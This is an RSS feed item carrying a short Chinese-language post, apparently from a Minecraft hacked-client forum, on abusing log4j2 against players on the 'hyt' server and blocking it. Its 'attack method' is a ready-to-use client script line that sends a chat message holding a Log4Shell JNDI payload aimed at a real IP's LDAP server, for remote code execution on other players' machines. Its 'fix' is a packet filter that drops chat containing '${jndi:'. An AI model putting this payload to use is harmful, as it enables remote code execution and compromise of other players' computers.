<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[利用log4j2在hyt进行攻击与对自身修复（或防御）方法]]></title><description><![CDATA[<p dir="auto">攻击方法:</p>
<pre><code>mc.thePlayer.sendChatMessage("@${jndi:ldap://110.42.239.3: 1389/Basic/CommandBase64/UAJIDBIUWjohaowdnoa}")
</code></pre>
<p dir="auto">修复方法（仅对自身）:</p>
<pre><code>//onpacket
       var e = t.getPacket();
        e instanceof S02PacketChat &amp;&amp; e.getChatComponent().getUnformattedText().toLowerCase().contains("${jndi:") &amp;&amp; t.cancelEvent();
//
</code></pre>
]]></description><link>https://forum.liquidbounce.net/topic/3384/利用log4j2在hyt进行攻击与对自身修复-或防御-方法</link><generator>RSS for Node</generator><lastBuildDate>Sun, 15 Mar 2026 05:45:34 GMT</lastBuildDate><atom:link href="https://forum.liquidbounce.net/topic/3384.rss" rel="self" type="application/rss+xml"/><pubDate>Sat, 11 Dec 2021 09:52:33 GMT</pubDate><ttl>60</ttl></channel></rss>